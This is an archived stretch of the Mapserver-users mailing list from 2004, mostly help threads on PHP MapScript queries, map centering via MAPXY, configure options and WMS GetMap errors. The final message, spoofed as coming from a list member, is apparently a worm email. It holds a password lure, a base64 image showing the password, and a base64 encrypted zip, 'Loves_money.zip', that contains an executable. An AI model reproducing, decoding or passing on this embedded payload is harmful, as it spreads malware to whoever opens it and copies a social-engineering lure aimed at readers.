May 2004 13:29:11 +0200 Subject: [Mapserver-users] PHP Mapscript query result in new window Message-ID: <40979AA7.462.165F4A6@localhost> Hi, I try to get the query result from the GMap Demo in a popup window. In this list I find the note, that I can do this with php session variables. I tried that, but my query result is always null. In my opinion there are problems with the global variables (in the function GMapDumpQueryResults() are this $gpoMap and $gbShowQueryResults). To set the session variables I return $selFields in this function and then I call the function with the session variable name. $_SESSION['result']; $result = GMapDumpQueryResults(); When I write something in a test variable and return this, everything is alright. How I have to change this function? Can someone help me? Petra From mschulz at webgis.de Tue May 4 04:43:27 2004 From: mschulz at webgis.de (Michael Schulz) Date: Tue, 04 May 2004 13:43:27 +0200 Subject: [Mapserver-users] auto angle line labeling with mapscript Message-ID: <409781DF.1090000@webgis.de> Hi, I have a problem with labeling line features with the angle auto option. If I draw a certain line layer with shp2img then everything works fine. This is the corresponding image: http://www.zopecms.de/bohrdatenportal/labeltest_shp2img.png If I use the same mapfile with python/mapscript then the situation changes, the labels are drawn, but they get rotated in the wrong direction but for a "correct" angle value. This is the corresponding image: http://www.zopecms.de/bohrdatenportal/labeltest_pymapscript.png These images were created with mapserver 4.0.1, gd-2.0.21, freetype-2.1.7 on WIN2K. Has anyone using mapscript, perhaps in another flavor had the same problems? TIA, Michael P.S.: Could this problem be related with this bug:? http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=564 -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH In den Weihermatten 66 79108 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de/www.zopecms.de From e9625730 at student.tuwien.ac.at Tue May 4 05:14:57 2004 From: e9625730 at student.tuwien.ac.at (Elisabeth Nolz) Date: Tue, 4 May 2004 14:14:57 +0200 Subject: Fw: [Mapserver-users] center map on x,y coordinates Message-ID: i tried alexandros link but still got the same error: getString(): Symbol definition error. (MAP):(0) perhaps someone knows whats going wrong. elisabeth. On Tuesday 04 May 2004 14:44, Alexandros Chimarios wrote: make last try with : http://localhost/cgi-bin/mapserv?map=map.map&mapxy="339989,00 1646,00"&scale=1000 It seems that the %20 special HTML char is getting confused with the number after that. Elisabeth, please also send a carbon-copy of your emails to the mapserver-list cause may be some people out there that could help you more than me. I don't know if this make you feel better, but I also have some problems with Maserver. I have been trying to setup a WMS server since the morning ! Regards Alexandros "Elisabeth Nolz" schrieb: hi again, alexandros. i copied my .map-file to the apache/cgi-bin directory and this is the link i'm working with by now: http://localhost/cgi-bin/mapserv?map=map.map&mapxy=339989,00%201646,00&scale=1000 but i get the following error: getString(): Symbol definition error. (MAP):(0) do you know what that means? On Tuesday 04 May 2004 14:15, Alexandros Chimarios wrote: Elisabeth, I think there's a problem with your URL. According to Mapserver syntax the CGI param should be: MAPXY [x] [y] But you have http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000 What does this "+" symbol mean ? Try the following URL : http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql%20y_from_mysql&scale=150000 "Elisabeth Nolz" schrieb: i'm using PHP MapScript 3.6 and these x,y coordinates are geographical coordinates (gauss-krueger). i want to pass these coordinates through a link. is that possible? On Tuesday 04 May 2004 13:34, Alexandros Chimarios wrote: Hi , are you using the MapScript language ? If yes in the mapObj class there is the method centerByPoint which operates on the screen space(pixels). What are those x,y ? Screen coords(pixels) or geographical coordinates (e.x lat/lon) ? On Tuesday 04 May 2004 12:24, Elisabeth Nolz wrote: hi list. in my application i have a drop-down menu with lots of addresses addresses and appropriate x,y coordinates stored in a mysql-database). the user can choose one address and then click on the submit-button to show the map centered on the chosen address. the problem is, that i don't know how i could center my map on x,y coordinates. i found the following entry in the mapserver-user-history: "If you have x,y coordinates for the centers of your parcels in your mysql database, you can just run your search, grab the results, and redirect to a url like: http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000" i tried this link with my coordinates but it doesn't work this way. could someone help me please? thx, elisabeth. From alhim at intracom.gr Tue May 4 05:21:54 2004 From: alhim at intracom.gr (Alexandros Chimarios) Date: Tue, 4 May 2004 15:21:54 +0300 Subject: Fw: [Mapserver-users] center map on x,y coordinates In-Reply-To: References: Message-ID: <200405041521.54289.alhim@intracom.gr> How about checking your map file ? Propably there's a syntax error in there ! Send your map file please. On Tuesday 04 May 2004 15:14, Elisabeth Nolz wrote: > i tried alexandros link but still got the same error: > getString(): Symbol definition error. (MAP):(0) > > perhaps someone knows whats going wrong. > elisabeth. > > > On Tuesday 04 May 2004 14:44, Alexandros Chimarios wrote: > make last try with : > http://localhost/cgi-bin/mapserv?map=map.map&mapxy="339989,00 > 1646,00"&scale=1000 > > It seems that the %20 special HTML char is getting confused with the number > after that. > > Elisabeth, please also send a carbon-copy of your emails to the > mapserver-list cause may be some people out there that could help you more > than me. > > I don't know if this make you feel better, but I also have some problems > with Maserver. I have been trying to setup a WMS server since the morning ! > > Regards > Alexandros > > > "Elisabeth Nolz" schrieb: > hi again, alexandros. > > i copied my .map-file to the apache/cgi-bin directory and this is the link > i'm working with by now: > http://localhost/cgi-bin/mapserv?map=map.map&mapxy=339989,00%201646,00&scal >e=1000 > > but i get the following error: > getString(): Symbol definition error. (MAP):(0) > > do you know what that means? > > > On Tuesday 04 May 2004 14:15, Alexandros Chimarios wrote: > Elisabeth, > > I think there's a problem with your URL. According to Mapserver syntax the > CGI param should be: MAPXY [x] [y] > > But you have > http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_f >rom_mysql&scale=150000 > > What does this "+" symbol mean ? > > Try the following URL : > http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql%20y >_from_mysql&scale=150000 > > > "Elisabeth Nolz" schrieb: > i'm using PHP MapScript 3.6 and these x,y coordinates are geographical > coordinates (gauss-krueger). i want to pass these coordinates through a > link. is that possible? > > > On Tuesday 04 May 2004 13:34, Alexandros Chimarios wrote: > Hi , > are you using the MapScript language ? If yes in the mapObj class there > is the method centerByPoint which operates on the screen space(pixels). > What are those x,y ? Screen coords(pixels) or geographical coordinates (e.x > lat/lon) ? > > > > On Tuesday 04 May 2004 12:24, Elisabeth Nolz wrote: > hi list. > in my application i have a drop-down menu with lots of addresses addresses > and appropriate x,y coordinates stored in a mysql-database). the user can > choose one address and then click on the submit-button to show the map > centered on the chosen address. > the problem is, that i don't know how i could center my map on x,y > coordinates. > > i found the following entry in the mapserver-user-history: > "If you have x,y coordinates for the centers of your parcels in your mysql > database, you can just run your search, grab the results, and redirect to a > url like: > http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_f >rom_mysql&scale=150000" > > i tried this link with my coordinates but it doesn't work this way. could > someone help me please? > > thx, > elisabeth. From thelen at ccgis.de Tue May 4 05:46:57 2004 From: thelen at ccgis.de (Benjamin Thelen) Date: Tue, 04 May 2004 14:46:57 +0200 Subject: [Mapserver-users] PHP4's bundled regex problem - PHP MapScript In-Reply-To: <200404301413.i3UEDLA9011504@ccom.unh.edu> References: <200404301413.i3UEDLA9011504@ccom.unh.edu> Message-ID: <409790C1.7020001@ccgis.de> Don't use ?with-httpd=/usr/local/apache2/bin/httpd! Regards, Benjamin Thelen --------------------------------- CCGIS GbR - Bonn http://www.ccgis.de Siemensstra?e 8 53121 Bonn Germany Tel: ++49 (0) 228 90826 15 Fax: ++49 (0) 228 90826 11 James Case wrote: > Hi all, > > > > Okay here?s what I?m doing. > > > > Apache 2.0.39 > > PHP 4.3.6 > > GDAL 1.2.0 > > > > I am getting the dreaded PHP4 regex error message after configure of > MapScript as such: > > > > ./configure ?with-gdal=/usr/local/bin/gdal-config --without-tiff > ?with-php=/usr/local/include/php ?enable-internal-ld-detect > ?with-gd=/usr/local ?with-httpd=/usr/local/apache2/bin/httpd > ?with-apxs=/usr/local/apache2/bin/apxs > > > > I recompiled PHP with the ?with-regex=system option but it didn?t make a > difference. There seems to be a workaround to ?fool? MapScript in to > thinking PHP is configured with regex=system, but I cannot piece it > together from Google L > > > > Any ideas? > > > > -Jim > From alhim at intracom.gr Tue May 4 06:01:55 2004 From: alhim at intracom.gr (Alexandros Chimarios) Date: Tue, 4 May 2004 16:01:55 +0300 Subject: [Mapserver-users] Problem on setting up an WMS server In-Reply-To: References: Message-ID: <200405041601.55178.alhim@intracom.gr> I have compiled the Mapserver 4.2 beta to support WMS server(succesfully tested it !) and GetCapabilities works fine. However when I try thr GetMap functionality instead of the image I get an xml file describing the following error : msWMSLoadGetMapParams(): WMS server error. Invalid values for BBOX. This is the URL i try : http://localhost/cgi-bin/mapserv?map=mywms.map&REQUEST=GetMap&LAYERS=earth&bbox=-110.0,40.0,-80.0,30.0&VERSION=1.1.1 Could anyone explain me what to do or send me an example test WMS-server map file ? This is mywms.map : MAP NAME DEMO WEB METADATA "wms_title" "WMS DEMO SERVER" "wms_onlineresource" "http://localhost/cgi-bin/mapserv?map=mywms.map&" "wms_srs" "EPSG:4326" END END LAYER NAME earth DATA "/usr/local/apache2/cgi-bin/geodata/data/cubeserv-best.jpg" TYPE RASTER END END From steve.lime at dnr.state.mn.us Tue May 4 07:11:54 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Tue, 04 May 2004 08:11:54 -0600 Subject: [Mapserver-users] RE: Text message Message-ID: ----------pqbwqzitcjjkrwdfwudb Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
In order to read the attach you have to use the following password:

----------pqbwqzitcjjkrwdfwudb Content-Type: image/bmp; name="mslquzjhhz.bmp" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="mslquzjhhz.bmp" Content-ID: Qk0+BwAAAAAAADYAAAAoAAAAPAAAAA8AAAABABAAAAAAAAgHAAAAAAAAAAAAAAAAAAAAAAAA /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/3X/RdkBl CW42d/9//3/df9F2QGUJbjZ3/3//fwluQGVAZUBlQGVAZf9//3//f/9/QGVAZf9//3//fxR3 QGVAZRR3/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9/j3JAZd1/eHtAZRR3/3/RdkBl3X94e0BlNnf/fxR3QGV4e/9//3//f/9//3//f/9/ QGVAZf9//39Xe0BleHu8f0BlFHf/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//39AZQlu/3//f/9//3//f0BlCW7/f95/QGUJbt1/ /3//f/9//3//f/9/QGVAZf9//3+PckBl/3//f0BlQGX/f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//39AZUBl/3//f/9//3//f0Bl QGX/f/9/eHtAZQlu/3//f/9//3//f/9/QGVAZf9//39AZUBl/3//f0BlQGX/f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//39AZQlu /3//f/9//394e0Bl83b/f/9//3/RdkBl0Xb/f/9//3//f/9/QGVAZf9//39AZUBlvH+be0Bl 83b/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ 0XZAZd1/eHtAZRR3/3//f/9/TXJAZU1y/3//f/9//3//f01yQGV4e/9//3//f/9/QGVAZf9/ /39AZU1y0XZAZdF2/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9/0XZAZQluQGXRdv9//3//f/9//39Xe0Bl83b/f/9//3//f7x/QGUJbv9/ /3/Rdv9/QGVAZf9//38JbkBl/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9/V3tAZXp7/3//f/9//3//f/9//3//f0BlQGX/f/9/ /3//f/9/QGVAZf9//39AZY9yQGVAZf9//3/zdkBl/3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/m3tAZfN2/3//f/9//3/zdkBl 3X+8f0Bl0Xb/f01yQGXdf91/QGUUd/9//3/df9F2QGVAZf9//3+8f0BleHvdf0Bl83b/f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/3n9AZUBl QGVAZUBl/3/df/N2QGVAZfN2/3//f91/j3JAZUBlFHf/f/9//3//f/9/83ZAZf9//3//f3p7 TXJAZU1y3X//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9/ ----------pqbwqzitcjjkrwdfwudb Content-Type: application/octet-stream; name="Loves_money.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Loves_money.zip" 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 